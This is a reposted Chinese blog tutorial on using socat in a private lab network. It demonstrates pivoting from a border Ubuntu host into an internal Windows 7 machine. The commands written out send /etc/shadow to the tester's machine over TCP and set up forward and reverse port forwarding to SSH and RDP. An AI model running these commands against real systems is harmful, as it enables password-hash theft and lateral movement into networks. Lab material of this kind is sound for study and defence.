linux卸载socat,socat在Linux下的使用「建议收藏」

目录0x01socat介绍0x02socat进行文件传输0x03socat正向端口转发0x04socat反向端口转发注:边界机器Ubuntu192.168.222.177内网机器win7192.168.222.1370x01socat介绍socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】,socat…

大家好,又见面了,我是你们的朋友全栈君。

目录

0x01 socat介绍

0x02 socat进行文件传输

0x03 socat正向端口转发

0x04 socat反向端口转发

注:

边界机器 Ubuntu 192.168.222.177

内网机器 win7 192.168.222.137

0x01 socat介绍

socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。

安装的话,我们可以直接下载安装的,如果你非要去手动编译的话,就自行去研究吧。

apt-get install socat

d9d161ad3a2fdbcb713d6ee95596060c.png

完成后来检验一下是否安装成功

socat -h

4c22d4cac5255549298fbc1cf7449c6c.png

0x02 socat进行文件传输

首先,我们去边界机器执行

socat -u /etc/shadow TCP4-LISTEN:55,reuseaddr

b39d7151b951e5b2db83e9f87510544a.png

然后回到我们本机来下载,这里我本机是Windows的,不过不影响

socat.exe -u TCP4:192.168.222.177:55 OPEN:mima.txt,create

500cbd67f7c6623027af7d8fa19995b8.png

跟之前一样,在哪里执行create的,文件就在哪里

4def430f21c6da429d3481255745b6f7.png

37cadd7842abd11a7589d6d6fc5ac6ce.png

0x03 socat正向端口转发

这里,我们通过边界主机去访问内网的主机

首先我们去边界主机执行命令,将来自外部1000的流量全部都转发到内网机器的3389端口上

socat TCP4-LISTEN:1000,fork TCP4:192.168.222.137:3389

ab16f79d0e80ec45d00db62e307f2a59.png

然后我们到本地主机上连接

17272decc15370ba76d623adfec0ec43.png

b1b37b72ac5b64136cbfc1451a1bb560.png

0x04 socat反向端口转发

首先,我们在本地执行监听

socat.exe tcp-listen:1000 tcp-listen:1001

ed519d385a929cc496ccd6f99f585cc1.png

然后,我们在边缘机器上执行命令

注:10.1.135.96是我本地主机的IP

socat tcp4-connect:10.1.135.96:1000 tcp4:127.0.0.1:22

936b03800e1bab551e67d161e1b4b226.png

然后本地连接ssh

b237387dce3bebe4edee93659076c64e.png

365eb9e0e32994f40d3c7d3c75cb0e93.png

当然,直接连接内网的机器也是可以的

socat tcp4-connect:10.1.135.96:1000 tcp4:192.168.222.137:3389

eaebd9256f02607f42051bf45f2f39e5.png

然后回到本地连接远程桌面

01910613069f2951277237402d3d36c2.png

d7a22a8a8fbec511405a8570c2daf849.png

注意,整个过程一定要一气呵成,如果中间出错,本地的监听也需要重新执行,否则将会一直报错,如果出现问题,多尝试几次就好

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/127901.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号